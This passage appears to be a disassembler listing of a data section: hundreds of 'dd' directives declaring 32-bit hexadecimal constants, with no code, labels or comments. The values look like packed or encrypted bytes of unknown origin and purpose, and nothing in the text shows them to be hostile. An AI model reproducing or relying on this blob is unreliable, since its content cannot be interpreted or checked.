		dd 6A0BA05h, 938215E3h,	0C78003A3h, 0DE482414h,	0C5FE92C1h
		dd 0BBF582CDh, 501A0BD1h, 9472DFF6h, 0D382507h,	0B2A5116Ch
		dd 685A4690h, 0F3284E39h, 0BF651614h, 0FC2B43C9h, 0E2AEB443h
		dd 0E9EAE4ABh, 58C38551h, 0BC31B24h, 0DCEF0484h, 0E84B0516h
		dd 0E2587313h, 50C202A5h, 401BCA06h, 0C2D8E596h, 2268559Ch
		dd 0EE8D78C2h, 8DD02BB6h, 30102BC3h, 54927DEDh,	65482E55h
		dd 1270645h, 131868ECh,	1EFEC933h, 909393CAh, 9C46517Fh
		dd 28E1748h, 0BD3FDEFh,	9BA2F5D2h, 800BF0D4h, 70685195h
		dd 2911306Ah, 0FD0F178h, 0C60E4B26h, 5A659E00h,	5E1A6827h
		dd 0D46AB91Fh, 7459277Fh, 0E58A15B5h, 20B1E74Fh, 90680443h
		dd 85167819h, 0F26212DCh, 10E98412h, 9D012CA0h,	0FD27025Bh
		dd 0EF5FF205h, 4D6D0BD0h, 41DCB03Bh, 6BB66944h,	467160E4h
		dd 7397B879h, 685F09DAh, 0D6C62240h, 0C077A51Eh, 5055DEFh
		dd 3117BA94h, 38E2E2E4h, 804E6285h, 8F12DCEAh, 59E04A5Eh
		dd 4A1F984Dh, 2D2485D7h, 0B9AD6B28h, 0BEF80116h, 0B4612E61h
		dd 0EAC53793h, 0C0F9E553h, 6691BF4Bh, 887AD389h, 0BA065292h
		dd 290D258Dh, 65DF178Eh, 69240619h, 0FA5E69DDh,	60843CEEh
		dd 645BB2B2h, 0ED1EAC0Ch, 0FAD0975Dh, 0C8137D12h, 7C6BE9E8h
		dd 1E484627h, 3DA0F4E9h, 841C5DBBh, 6330187Ah, 6EF1C55Bh
		dd 22D02558h, 120C90DCh, 9ACD913Eh, 9850B579h, 5FAAC2D6h
		dd 13A2A8A4h, 39EA3159h, 3A712B83h, 0EC7CE189h,	0BB0531D4h
		dd 0BA441671h, 81D1BD4h, 0B0CBC24Ah, 5A505549h,	0E2BB51B7h
		dd 8E6A7CE9h, 5B54F95Dh, 2DE9AC05h, 0A9CCFED6h,	95EB7D68h
		dd 0E9137596h, 0E7BD69B1h, 5D154A04h, 2EEC21Bh,	0FE299E0Eh
		dd 8A4D0507h, 82E05956h, 0EA14C007h, 1E358079h,	0D3AFF309h
		dd 0E7E9F701h, 0AA457E2Dh, 0C6EA9CEDh, 0AC70FC83h, 8A4CA26h
		dd 6033C907h, 20B82924h, 5E950841h, 0BF02F7B3h,	110A54DBh
		dd 2ABA71E1h, 2CD2DB4h,	29041F7Bh, 78E2DD0h, 0A66BA9A1h
		dd 25343B25h, 5B679BC1h, 70C5FA04h, 39A0E387h, 959DE549h
		dd 577F0B78h, 0E601D7BEh, 26B30B8Ah, 288EF6D8h,	2DCBB208h
		dd 816679EDh, 552CA50Fh, 770EAA31h, 0C4BFC313h,	65A8AF0Eh
		dd 0FACFE9C2h, 7BB73FEBh, 0AC038870h, 0B151D830h, 53C1F04Fh
		dd 503E01B7h, 7DE9F2B0h, 1D303B66h, 4B9819D8h, 96CDA820h
		dd 1D3AF505h, 617AAACDh, 6318880h, 0D3F63074h, 3D01EFA5h
		dd 46D72B2Eh, 8AEA7F25h, 68FD81DDh, 8D2A029Ch, 9E5D20D2h
		dd 17A287Bh, 0F0E9DF0Ch, 0BF52C0F6h, 9A20C1F0h,	816606BCh
		dd 0A51A3CFh, 3135EF1Eh, 4FDDF8A7h, 25938D15h, 8918393Ch
		dd 54E209C1h, 0BAFC2D63h, 18BD572h, 0BEB3C5FDh,	0B4BDC58h
		dd 0CA795A77h, 72BDE962h, 0BF30E7A2h, 0BE79BD67h, 0BA14E987h
		dd 2F0FE4D9h, 0A244E12Dh, 2CEEB781h, 6DB900EDh,	81486A07h
		dd 264AE6E1h, 34375B40h, 2E418004h, 863504Ch, 0B967C111h
		dd 0A82F97C3h, 66E50070h, 557B773Ah, 0FBA2D3FFh, 2D627E02h
		dd 0F6DFE0A8h, 7F1E966h, 694F83Eh, 12F57DA3h, 6EB091Ch
		dd 0A806765h, 61DC54D2h, 42A318C1h, 0A83893E3h,	0E912EA58h
		dd 6959A177h, 0FA6427EBh, 0AEC10745h, 0B57EA82Ch, 5DFC4D3Eh
		dd 8F26EF0h, 0EA284F4h,	0E92270F3h, 69F2E2E3h, 5C2F872Dh
		dd 8B5F523Ah, 16F4B49Ah, 5B070FE9h, 0A8CA659Fh,	0F725B25Eh
		dd 0C0472CB0h, 0D4E5DF82h, 89BC2F3Fh, 0C0515DBAh, 0FEAFE44Fh
		dd 52815BEDh, 7A169268h, 0BE4AC8Dh, 0E914440Eh,	18826C2Dh
		dd 0D2CD701Fh, 0C3A40E48h, 0D122AB02h, 0B50B95D0h, 0DF29960Eh
		dd 19270FC6h, 0B312FDF2h, 36250EF5h, 68C297E2h,	18F56E18h
		dd 375BB6h, 25407DFEh, 177926CDh, 57A60501h, 0F6350962h
		dd 0B71EDAF8h, 0FC204F78h, 68430A20h, 41254D42h, 0FC478DF8h
		dd 775A96E9h, 0C168DE70h, 0B9CF5B52h, 8F8F5A68h, 362DB058h
		dd 0E1534BFEh, 1A2BEF73h, 0E77F3AD2h, 74A905B3h, 0C7BAC029h
		dd 0F4261F5Fh, 0E113CB42h, 7B7B76FEh, 19C8BFA2h, 51BFDFB5h
		dd 44402FB4h, 0D6E773D3h, 0FDCE6055h, 1A048308h, 5BF54EA9h
		dd 49274480h, 0ED565A2Eh, 71E25B1Eh, 685707DFh,	0D0E54CCFh
		dd 18F9A74Ah, 167CD494h, 0C070584Bh, 15E08B6h, 10344C4Ah
		dd 64591109h, 0A2A82DA0h, 0E5B00BFBh, 0BF7ED268h, 0EEBFE098h
		dd 99F3FF4Fh, 0A04CE037h, 0E257055Bh, 50C01313h, 29073DACh
		dd 75E92C56h, 0F67D0033h, 213D3E6Fh, 0F9ED94Ch,	0F6B030C1h
		dd 0DE802F04h, 0A604341Ah
		dd 406618F6h, 0E980812Bh, 0C434FC14h, 7AD180A8h, 0C140961Eh
		dd 0F106DCE8h, 3DD30878h, 4456095Ch, 955C028h, 41E55DB1h
		dd 0D9B86409h, 129083A3h, 0E6EB02B4h, 0CA5418BCh, 0AEB22736h
		dd 0FB2D5D7Ch, 2D9E0852h, 49C15E2Dh, 0F8111568h, 5DEB43CBh
		dd 178B7DA9h, 886BC857h, 994BF3Bh, 0EAD31F20h, 9EAD62DEh
		dd 797D295Dh, 0FE05441Ch, 50E9A444h, 310D51E8h,	7FAB5EF1h
		dd 79D266C3h, 21439F18h, 0F9ABEFCAh, 0DB33F04Dh, 57AA9528h
		dd 9E56BA40h, 2248BFEh,	0CA56CFEEh, 81B9E272h, 51590FA5h
		dd 0C6EFC1C4h, 4DDD9574h, 3E0439F0h, 0DF016D27h, 59388180h
		dd 0F21A5A11h, 0D32001FDh, 0D70192F2h, 5AE97B5Ch, 0BAD184A4h
		dd 0E78F35ECh, 0BEF79F84h, 0B4D6CFB3h, 215FD7E5h, 0FA38D889h
		dd 0C448E8D4h, 0B39AC780h, 31272D25h, 0BFA65AF9h, 0F7275CE7h
		dd 0D6B5121Ch, 0B06861B9h, 10A8267Ah, 0B73B8F8h, 6B8E5E58h
		dd 0C2EE80DDh, 5F24EA54h, 0E941FE40h, 6F6B7535h, 58C2B241h
		dd 16F07D60h, 0E97CED24h, 81084161h, 5A4B390Ch,	0BE345870h
		dd 0B3DE4071h, 0EBC08507h, 48308002h, 0B866E3D0h, 0E92D3EF1h
		dd 375E39C9h, 0AB01C452h, 0A60591CBh, 0B80CC569h, 41FB40FCh
		dd 38AC7F17h, 0C78640AAh, 79A93108h, 0A75C3D98h, 0B2BA84FDh
		dd 0E6D1DCFAh, 580AEE53h, 0CDBE67C0h, 27A17AF5h, 0CA61A36Ah
		dd 9408ED53h, 0CF01094Bh, 5E1C2D01h, 44D3879h, 3C993323h
		dd 8139C4BFh, 9BB6C62Bh, 984E86ECh, 5C2568D8h, 50C2C03Ch
		dd 0D0F809E9h, 0D4E7D12Fh, 8A1C41D1h, 0D3D220F3h, 437CF392h
		dd 0BE17B4F2h, 7EECB795h, 0AF41491Ch, 4BD294F5h, 5EDCC220h
		dd 32AC45C5h, 0F4EDC344h, 0CA80C702h, 0F07FBAE0h, 0E4B72DC6h
		dd 2D2B1C57h, 4F72DFA7h, 1F010171h, 0FD875D07h,	8A4D7F7h
		dd 16EE29E5h, 76C2F9C1h, 0CE906FF9h, 0B5592931h, 5D817165h
		dd 0D40EE961h, 0C53B40B9h, 2D79B193h, 48AF964h,	4958CAB8h
		dd 0AA4F5D04h, 8FBB443h, 12D28EBDh, 5BA01ABh, 7EC1B151h
		dd 83043888h, 0F30B56BAh, 4E1B3E4Bh, 49AA40ABh,	815B058Fh
		dd 81053C8h, 45015574h,	2E323352h, 80C76C64h, 0E6564441h
		dd 0D495350h, 9C544E1Fh, 850A6A4Ch, 0A2E9F001h,	68770097h
		dd 7A149DBEh, 0E3FF1C06h, 2719FDFDh, 8F5159Eh, 0EB9F4428h
		dd 0A0382284h, 0C021E142h, 0BA84D710h, 42CD48A1h, 0C324A230h
		dd 0B45B3640h, 0BE00CE67h, 1F6B0451h, 10AA3F0h,	0A43D8A85h
		dd 0CCD926E9h, 0E0FF22CCh, 0CD01BE57h, 345CF542h, 99D48EDBh
		dd 4F293876h, 0FC8FF800h, 0FEC4DF3h, 93143902h,	43766880h
		dd 92F990C0h, 2EA007Dh,	3928315Ch, 0DC00727Ah, 2B49F175h
		dd 0FEFCF20h, 844B8777h, 3AF9E840h, 80006C32h, 505B29B9h
		dd 858E1Bh, 0EAD9E1A0h,	1923CBAEh, 964F0E00h, 0CCBBC3F8h
		dd 27A70084h, 0EC39A4AFh, 0D4003B53h, 7CD77055h, 2FDD8232h
		dd 44873316h, 0E5417FB4h, 0F8CF404Ch, 6E02A1E9h, 8078821h
		dd 677C80BBh, 0F0EDA04Eh, 4F3C00D5h, 0B6DA73C0h, 1BEA0C59h
		dd 0CDA7F401h, 0FD11767Eh, 95728240h, 0EE1CE6BFh, 6378A0BEh
		dd 2BE407AAh, 0DFEC3898h, 848F49C2h, 8E81AC60h,	0D38CFB00h
		dd 6C0552BDh, 7B977F24h, 8B52C0F8h, 17E01580h, 7098772Fh
		dd 0EBA01C69h, 0CA248690h, 4B00D206h, 0E37CC946h, 1966A9h
		dd 0B8050A80h, 529F701Fh, 3BD4B900h, 37B7FEEEh,	46CF056h
		dd 0A57B8D3h, 84018871h, 643E8B03h, 87A0D15h, 562C09D3h
		dd 0B1DE9740h, 0BACB305Eh, 0AF1B0652h, 7B5B3200h, 4322BCE2h
		dd 0F6FC00C2h, 78B53CFAh, 3F49E3E5h, 73F40089h,	0BD4F222h
		dd 16A918B4h, 0AFA65BE8h, 7996F600h, 6823B8E6h,	47DF065Fh
		dd 72DD3C52h, 7B34F300h, 6F6CFF10h, 1C090212h, 0C92E555Dh
		dd 4AA82543h, 6B91D28Bh, 0B5EA2501h, 915239EEh,	0E5CBB058h
		dd 65AA60DDh, 0A463CED9h, 89569C18h, 0B836414Ch, 133E00B6h
		dd 4794B562h, 2766DDFh,	6C4F5814h, 0C6850099h, 6779FBEh
		dd 5C044850h, 140F8113h, 1200253Ch, 8A5D927Dh, 8F008C1Fh
		dd 0D7F9AF6h, 0A629702h, 6B1C243Bh, 87470091h, 0B8DE7518h
		dd 64FC0500h, 0F5929A59h, 1E67F0Bh, 0D7E87B86h,	0D4D958B7h
		dd 0ED05B25Eh, 0C9DEA54Ah, 287763B8h, 0C3C847h,	7F1865AAh
		dd 1EB7040Bh, 519E7100h, 0ED3AD5B8h, 7836EAFDh,	0D26B0057h
		dd 700956B9h, 0A275EF20h, 6304029Ah, 0FE7B0C14h, 2B080180h
		dd 905BF255h, 374832FFh, 14E833Eh, 0D05A6838h, 0D53892A8h
		dd 1607C8FCh, 0E9501629h, 0D04A508Eh, 3C6AFD12h, 0CE09229h
		dd 3BBFA090h, 86E30030h, 0D1D9987Dh, 3009B95h, 0A9627950h
		dd 0CF429E6h, 81167121h, 5A016570h, 3F747FC7h, 0A1D09718h
		dd 0A3E418ECh, 0D5E020A7h, 0AD0058B8h, 0D2070886h, 1B0194FFh
		dd 22B2EDA1h, 9EF5ECD8h, 0B6B12631h, 87745FF3h,	0C39B0045h
		dd 25E4D1DAh, 5C9A311Dh, 8A7B5472h, 2D5EBB00h, 6F4277E2h
		dd 0FBDB13DCh, 7366406Bh, 93ED1BAh, 0CEA33600h,	1921E0C5h
		dd 76D9A85h, 8EF90160h,	0ED8C7F7Dh, 0AC16B547h,	0BA1206C5h
		dd 402E754Eh, 2CE3AB64h, 0D1E809DFh, 78A0BEC9h,	0E1FB2BDh
		dd 0F5998001h, 3F30AF1Ah, 0F8B37A34h, 941F9C47h, 0BA81FA3Ah
		dd 346F0855h, 41980E60h, 0E5A84100h, 0C8EDDD2Ah, 677826h
		dd 46C9C25Bh, 0DF3060F9h, 95009275h, 4532D7Ah, 90FF8BFCh
		dd 1BF80310h, 0C0A5AE45h, 0F24CD27Fh, 3B460071h, 47C8C37Ch
		dd 8C4500B4h, 934C0B04h, 0E20017F8h, 329D7219h,	0BABA29Fh
		dd 12757D94h, 66712620h, 829AD1B6h, 14A7B200h, 0C3828D03h
		dd 89860F0Ah, 0C208B54h, 69904D7h, 36582103h, 20A7D85h
		dd 36E7945h, 99686984h,	31FE44E9h, 0FD0A88AAh, 424A0034h
		dd 0A3E780CDh, 8600EC90h, 20B90609h, 0F55A26Dh,	0EF9E5065h
		dd 513AD300h, 0D84C71BEh, 0F21D809Dh, 267CCBA5h, 2711374h
		dd 0BD93704Dh, 969A7044h, 0C7564100h, 0FA8D820Eh, 693312AEh
		dd 3D984159h, 81615235h, 0BB26310Ch, 0A02587FEh, 82FD76F0h
		dd 7E822262h, 9E4C6896h, 0C34C4301h, 7D919958h,	8A124h
		dd 9BFAB0FDh, 0DFC6CFA8h, 50092000h, 0E242D53Ah, 63926Ch
		dd 19F69A9Bh, 73CD3B8h,	78C93404h, 1280D089h, 5362C2h
		dd 0B3B606DEh, 0F4FCBBAAh, 0F600DDE8h, 147C7DF7h, 1D35C6FBh
		dd 87BAE33Ch, 634EB974h, 0EB906B24h, 0E6007358h, 3139F8DDh
		dd 108AB92h, 17D6E1F2h,	20600996h, 238F6C1h, 6147266Fh
		dd 0DEC0A834h, 39CC9Fh,	262E453Ch, 0F5E4FC61h, 69F72259h
		dd 0A6F7A00Fh, 0B020F995h, 976A0F75h, 6F45AD2Ch, 0A78E02B1h
		dd 51FC37E0h, 0A0D9B809h, 86D33CEDh, 729D09EDh,	25048C25h
		dd 6B7C88BFh, 80844A5Ch, 77C44B40h, 5DB21DDEh, 0F8174010h
		dd 7A82D1ABh, 0FA010D28h, 0BB916E12h, 80988237h, 35EEADB8h
		dd 0DF48605Bh, 8DC05BFEh, 486C1BCBh, 463054CFh,	0BA2530F8h
		dd 0BCD46D00h, 76F71E53h, 112400E5h, 5C649FFCh,	30CEA62Bh
		dd 4FE24058h, 12BF503Eh, 2B40940h, 5D24C970h, 427DA5DFh
		dd 5C0058C9h, 5AFFC13h,	49967916h, 0F582D0B0h, 5F782EC0h
		dd 0C1CA6300h, 2868014Eh, 909A75E7h, 0CBEC3B9h,	0ED708304h
		dd 18D2373h, 0E653106Dh, 0CC5FCC55h, 0EAA45D07h, 0E2F06625h
		dd 1C9D9A2Dh, 19878FA6h, 6083505Ah, 64C1082h, 0E1307E79h
		dd 97A21859h, 0FA060E7h, 0AE6DD8E3h, 8205F57Bh,	0F9CC010Eh
		dd 3D849ED1h, 7F8A4D80h
		dd 30C814Ah, 0EFA8CE0Bh, 91B849Eh, 8558BD81h, 629230h
		dd 5716FB05h, 91E665D6h, 0DE032FE8h, 0EBD4DC4Bh, 0B14C2C35h
		dd 0D00FB4C2h, 0EC9FA0C2h, 89802359h, 167182DFh, 4AF06024h
		dd 0A4E31993h, 20D7364Fh, 1200CB63h, 1EF19D7Ch,	6F66B3h
		dd 0D637D8B6h, 52255AB5h, 0E0AEBF00h, 5159702Fh, 3E506036h
		dd 0C2A73A45h, 221A9B00h, 6BF1D441h, 483009C3h,	0C02077DAh
		dd 497E91FDh, 72E66A3Ch, 8398C43Bh, 0D21FF09Eh,	0CBBCC0DBh
		dd 811E9071h, 0F4641AD2h, 18C2E55h, 659A003Ch, 5A256992h
		dd 74B9D103h, 0D45B90FBh, 2580D5C9h, 28BD2468h,	0B4602DB1h
		dd 0E2A5AD5Ah, 0A15CC37Ah, 0F9EE696h, 45B8E1F6h, 333BFA0Ch
		dd 1271754h, 1678891Ch,	0EE13ACF9h, 1BEEA8A0h, 0DB007BB0h
		dd 0A43D6947h, 0CB4449h, 67A8E57Eh, 0ECF40B32h,	0E8499B60h
		dd 0B9394ADDh, 49458245h, 615791C6h, 22345512h,	0ECF50009h
		dd 16CBB7F7h, 0D706B46Dh, 9D300338h, 0C10E07FEh, 0A07749CAh
		dd 90BAB7Fh, 29657601h,	3099B1E6h, 86A5B9F7h, 28D65E60h
		dd 7F8D7F0Dh, 78ABFCC5h, 8762006Bh, 0C8490807h,	230F4DD3h
		dd 2B9B6819h, 9803190Bh, 0C579EF60h, 40FBC4FAh,	0D9084CDAh
		dd 0C23ED604h, 45CA001Fh, 6A0E0586h, 2BEF8E8h, 0E66F10F2h
		dd 81409DDCh, 4400DDDAh, 1E69714Ah, 646A4h, 0B2E7525Dh
		dd 76351C25h, 818C6E3Eh, 5CBB0858h, 9FDF3354h, 80C88705h
		dd 0F6F1F867h, 573E0E47h, 38409098h, 202B0269h,	0E7A86100h
		dd 632AF328h, 184100ACh, 370C0EEAh, 5EC7D36h, 0BD523C0Bh
		dd 5ACB8370h, 641C02Dh,	0B043164Eh, 0EB98019Fh,	0C82724D3h
		dd 6D0A81F0h, 0AD621B74h, 88CDBD07h, 185B9C50h,	1AFA85h
		dd 0F8B1A8F5h, 61F9BE93h, 0AC22FD00h, 83942792h, 0CF04000Bh
		dd 0FE8991A8h, 0F80444B1h, 0CEDF727Dh, 71195AC0h, 434B3E62h
		dd 2C371FE0h, 94004D99h, 8DDA3559h, 6B79AF4h, 0FEF3D903h
		dd 0F56DB9EEh, 0AF00B82Eh, 96207138h, 0E19A0057h, 652E63ACh
		dd 19B08898h, 0ADB57406h, 36F4DAh, 0DD0B9EA9h, 2C72F322h
		dd 0B4CA900Eh, 3F6D078Eh, 0BBF01F90h, 739C0BF2h, 0B982753Eh
		dd 0A3E0F6BFh, 111C7C45h, 0B326C9FEh, 0E7844D0Ch, 7B8BEA06h
		dd 10FF0B56h, 4575D4DBh, 42442F21h, 40E2FEB7h, 4720685Ch
		dd 574443B4h, 5EB42EEBh, 680210A8h, 16F75703h, 0C78980F5h
		dd 9F10E2B9h, 9C2D575Ch, 1B749725h, 12C0FD69h, 0A30750FBh
		dd 8468F4Eh, 0A0506ADh,	4E0B8BFEh, 6A6F61FBh, 947E70DBh
		dd 0B8218F00h, 614A516h, 0C57B03h, 59E724E0h, 98BAE53h
		dd 38BB0A0Eh, 1A9000D4h, 3BC56FDh, 725D5955h, 0DAA0139Fh
		dd 3D005795h, 29238F08h, 684F0A1h, 404C3066h, 3400A824h
		dd 510B8D39h, 3B9D5D6Eh, 610016EAh, 800C2B9Bh, 81000A63h
		dd 586AC65Ch, 707AB44h,	5A1E6E2Fh, 46B13078h, 971C8829h
		dd 0CC804256h, 59A71860h, 1E9F002Ah, 79CF0625h,	1B583DA9h
		dd 74039D7h, 7553076Bh,	2636F9B0h, 19AC005Eh, 69BC2CC7h
		dd 5402230Dh, 45B4F462h, 764B5512h, 6342E280h, 0B9931602h
		dd 5CCEBF0Fh, 71D90855h, 2B0CE90Ch, 8DCC3932h, 6AFD5602h
		dd 60DFFCE4h, 6B4DBF3Ch, 0C45E221Ch, 68D4FA01h,	0DFDC6634h
		dd 61C50FF5h, 0F0C0038Bh, 1DE5756Fh, 0BC6C40A8h, 0A7E10E00h
		dd 0D38B668Dh, 0E8811F59h, 7C5E414Ah, 8391E280h, 0BE9C4B3Ch
		dd 5BC1C868h, 0F252C189h, 3ECA4E53h, 0AFC1331Dh, 0BE827B1h
		dd 47F05F81h, 0F0417EB9h, 0D30039A5h, 0D6816CE2h, 336437ABh
		dd 0EEEE5E21h, 0E5803B1Ch, 850F4F85h, 0B1CB7EF1h, 518C128Fh
		dd 0AA0B09E8h, 35E52D00h, 0AFE915F9h, 0D0BEC130h, 0EC08835Eh
		dd 1D0FFAF8h, 273B4C79h, 8A81F6EFh, 9FF3F47Dh, 7512E3F3h
		dd 3047B08h, 8AAACF78h,	213AC17Ch, 53330C62h, 57811C4h
		dd 77F56ED0h, 8D1C01E2h, 9CD6E3B3h, 0C427A11h, 7477FEh
		dd 0B70817FAh, 918E8330h, 18C43BFDh, 10F1F0E1h,	0B808D67Dh
		dd 4CFF9438h, 27821849h, 941EFB1Ch, 0B6758750h,	20E45322h
		dd 0E6CB777Fh, 4D01EA7Eh, 3D6F573h, 0E08066A9h,	68E36445h
		dd 1B02F6EEh, 0BB7433BEh, 3F8C8180h, 8181FD95h,	0D1A78790h
		dd 5136D8A9h, 0F4F8FC7Ah, 0F6D4BD0Eh, 0F442345h, 7F48016Eh
		dd 0CCCDB1F3h, 6329F473h, 0DF63F0F0h, 0F235310h, 1301A599h
		dd 2F1B8143h, 1409ACF8h, 3BCCA0Fh, 0ED9E001Eh, 74B5F810h
		dd 9DD90F02h, 0B0004B23h, 84D52FEAh, 0D325371Dh, 0D03EFA00h
		dd 3161D97h, 7D06A7B5h,	498063ADh, 170095D3h, 897C92Bh
		dd 0A85CE10h, 0F8CA2A03h, 8ABB5338h, 4AC723C3h,	0B3635418h
		dd 0C3DB2108h, 0B7B0001Dh, 0B9CC1412h, 0A8007D05h, 0B31E018Ah
		dd 34DFABEh, 4A1D99CEh,	30C0A4AFh, 0E60A63C0h, 68F8AA34h
		dd 0AC402107h, 552D0683h, 41F2439h, 40639412h, 0DE747364h
		dd 0C8A8EDD5h, 0C67B2111h, 808A848h, 0CE5920Eh,	7830FBD0h
		dd 643047F4h, 0E3171890h, 68272809h, 7CFB4808h,	387C0801h
		dd 60F38059h, 2CA2E0D8h, 530B2482h, 0A6C60C08h,	600C8E88h
		dd 0F4BD31EBh, 426CDD7Ch, 4554A058h, 4C9A4390h,	0A1240F6h
		dd 7C43FB15h, 0AD2647Ah, 77710459h, 170A8578h, 0E25808FCh
		dd 3B2AE477h, 0F91D0FF2h, 0FEB00E5Fh, 0CD030884h, 0E1F8F38Fh
		dd 0CC90DCF1h, 4C6B6C71h, 177A889h, 0FD43B5B9h,	444C7EBEh
		dd 0C240D20Ch, 0AF4FA22Eh, 0FED860EEh, 63A9023Eh, 2F7A3979h
		dd 0F57D0C80h, 0FC92E574h, 481B651Fh, 7900B026h, 0FEF4063Ah
		dd 0A0FBFE35h, 26F9F80Ch, 8A147176h, 35864F6h, 7345BD75h
		dd 22643ADDh, 993E26A5h, 8C1515F0h, 84C2BC40h, 86BB881h
		dd 8864EF02h, 0D16C2AA5h, 0F66214F0h, 0A8CAF808h, 247826E0h
		dd 921E105Ch, 8F544808h, 0D82C6CBAh, 7F142FC1h,	888CEB15h
		dd 52E4A3FEh, 43D98060h, 997C774Ch, 8809A198h, 8B566F90h
		dd 0A7FB60h, 51010691h,	7FF4D614h, 0E0A8CC88h, 0F1C4B217h
		dd 104D5996h, 40989498h, 0E0A8D6A8h, 6A24FB4Ch,	0FD440CEEh
		dd 0C5A38050h, 2A0C9946h, 9B168C88h, 42A1DBDh, 337FFC85h
		dd 0E0584D88h, 0FEF4401Ch, 8CBA2984h, 47090294h, 0C88A124Fh
		dd 0C1A13928h, 8042F591h, 18990D8Dh, 8CA8C80Ch,	1A4C35DBh
		dd 0E511FE0Ch, 247DF342h, 67A8D956h, 80213888h,	8C996046h
		dd 8C2F540Ch, 9C39481Ch, 20E611FFh, 0B23121BFh,	0A04FFAB1h
		dd 0F1B1FC90h, 0EA142038h, 0D84D3D89h, 831A7462h, 50BE6148h
		dd 0E1DD5823h, 0CDFE3876h, 0B2519475h, 0E181DBA8h, 798AE4E3h
		dd 4AD8F0B9h, 5849BE30h, 0A44CEAB7h, 0D208D52Ch, 5262D792h
		dd 0B8C037DDh, 0C0E438F0h, 0F960AE10h, 20E35C26h, 0DE7C2878h
		dd 80650389h, 2401DC42h, 98B232h, 0F95F150Ch, 2A7A0DC0h
		dd 0C4B88B44h, 10FCD070h, 8CA6229Ch, 8FA7083Ch,	28F250BAh
		dd 42EE3CE8h, 3C0512E9h, 3C38D8AAh, 0FC79C686h,	31D0198Fh
		dd 590EE451h, 0DAD0A01h, 0FAB7B934h, 0F8DEA4E0h, 0A1B31F4Eh
		dd 0F8BC0A08h, 41200F14h, 0C237B585h, 0A46E3924h, 0E8E38728h
		dd 77DB8022h, 0A5A907E6h, 0E981BC65h, 972BD8Fh,	0DA063A0h
		dd 5FC06408h, 8D130C92h, 6804A046h, 0CC401B37h,	804E0AE1h
		dd 111E20A7h, 234B0063h, 0CDDC8613h, 0F7459090h, 597B3898h
		dd 45639F6h, 20B92CA0h,	78504F0Eh, 134D831h, 643A7BEh
		dd 387BFC51h, 21E13098h, 0BE0CBAh, 0CF45E629h, 516E84D1h
		dd 0A92D3Eh, 0ABF9AE4Dh
		dd 798CE4h, 0B0A782EAh,	0C0506CE1h, 367C41C0h, 745A5D55h
		dd 0FB5F00BCh, 0B2A7CF65h, 0D07FC32h, 9C0E62D5h, 0CA927A30h
		dd 727F26F9h, 1CA0A670h, 458FD210h, 1E2AFF0h, 0C5851388h
		dd 814C309Eh, 0D820D56Ch, 32048C4Dh, 3643A1BEh,	0B820EF62h
		dd 1C8ABE0Ah, 0AAF3D5h,	0ED2C4294h, 0CD0091BDh,	0AC1976BAh
		dd 126398CFh, 41F2641Bh, 4F0A68C0h, 603D53h, 0D2229C84h
		dd 44AFF30h, 94ABFE51h,	9AF090EFh, 0B80E15E1h, 0D7AE44h
		dd 0A4F99E5Bh, 75B90022h, 34FEBED2h, 9603A845h,	5069B565h
		dd 9C21B912h, 24733030h, 83842F44h, 612AE2E1h, 3C4C3798h
		dd 1031F7F0h, 0FC5068F9h, 0D4639180h, 96EB5146h, 0C3739103h
		dd 99D5F926h, 758C83h, 1B9AC0h,	1F5CB93Ah, 4D1D67Bh, 0F9DDBA01h
		dd 0A7FF651Ah, 0B51F6ECh, 6FE546C0h, 9507D401h,	18D980FEh
		dd 7358BDACh, 3371FC9Dh, 0E708B57Bh, 0A7BF2100h, 0CECDEABDh
		dd 364B0090h, 76A1FBCBh, 24F12740h, 0F9611750h,	0FF50ADF8h
		dd 0A59FC180h, 5B1CEFBEh, 0EADBA800h, 0A38D8953h, 0F20B0B0h
		dd 0FECF2F7Dh, 0FC04419Ah, 0BE306043h, 8CE6F4DBh, 0B6F044h
		dd 6999BE08h, 42193445h, 1FCF7F18h, 47B1390h, 51F7F303h
		dd 358F3F5h, 0A864A938h, 0D2E91F76h, 5DF1E52h, 20950AF9h
		dd 0E40CD5F8h, 0A030BF00h, 986760DBh, 0FF680024h, 4239CE59h
		dd 0F554E19Eh, 0A5077DC4h, 1C3063B3h, 0F2E032A6h, 797E6182h
		dd 0C535A15Dh, 0F6D4ECF4h, 600CFC5Ah, 7F3E4182h, 14361DA9h
		dd 1B7F02AAh, 0F4605ECAh, 0A0067DD2h, 0E1E3A90Eh, 8F7600C9h
		dd 0C3978515h, 0DF3BD796h, 2650754h, 0E24AF44Bh, 44A24700h
		dd 2E29456Bh, 402C08E1h, 86676471h, 3A06B098h, 0FDDC7C8Ah
		dd 4927FC58h, 4503CC9Fh, 8DBF6411h, 0FA4A2800h,	221EAE4Bh
		dd 829818A8h, 1A5CD970h, 0F25AE704h, 18C0AAA9h,	4831B0A6h
		dd 0A2C00442h, 5C082AABh, 8311673Bh, 3CEC1BEAh,	0A05B9084h
		dd 974A189Bh, 8B9A1FCh,	0A74855FAh, 0D7B41628h,	0E0AD88C1h
		dd 0DA01A9BCh, 63AE395Ah, 7BB84238h, 21BABCAEh,	8E5ECF0Eh
		dd 4C4060A1h, 0E1904001h, 0BB21E360h, 0DA2A75h,	2F6AD697h
		dd 0D8875EDBh, 240DF4Ch, 6F9502A9h, 71E14041h, 707B1D3Fh
		dd 221F421Ch, 21E143BBh, 0B5C26FCh, 2FC484F6h, 9FFD0F24h
		dd 60A892h, 233235A0h, 8511BDF4h, 35A83D00h, 11D63A5Ah
		dd 71138707h, 463B8227h, 0D4BA4CB4h, 0C020E027h, 14CE0B9Ah
		dd 0B094D900h, 0B55AF947h, 441B0398h, 0A765CBF5h, 820AD58Fh
		dd 0A62EFB2Ch, 0E881F690h, 0CBE330F9h, 88F3EF51h, 5B960D07h
		dd 0D8238FA6h, 36F0C03Eh, 0DDBC282Fh, 0C0947560h, 72FB9299h
		dd 0B700F70Fh, 0A3345C80h, 0B0C8CBD8h, 0E1F16B20h, 0C46CB005h
		dd 0E188A1A2h, 44E858ABh, 63B03908h, 40F2C448h,	0BC394C3Bh
		dd 0A0283DA6h, 564F5302h, 9482A9A5h, 0D4824D09h, 90800A08h
		dd 41F60CA8h, 8A1AE098h, 63F9F96Bh, 4208C054h, 0A0470F89h
		dd 0EAAF1865h, 511406D6h, 3F0029E9h, 0AEA664B4h, 89A56Ah
		dd 6F87DC3Eh, 145FDB1Dh, 47934201h, 0F577F9B8h,	8C086C3Dh
		dd 0F834F468h, 2CA96580h, 0F5701602h, 0D9F004D6h, 520C8022h
		dd 243F2A8Dh, 0E5D82B1h, 7A95F5CDh, 0E0E678h, 52CE586Fh
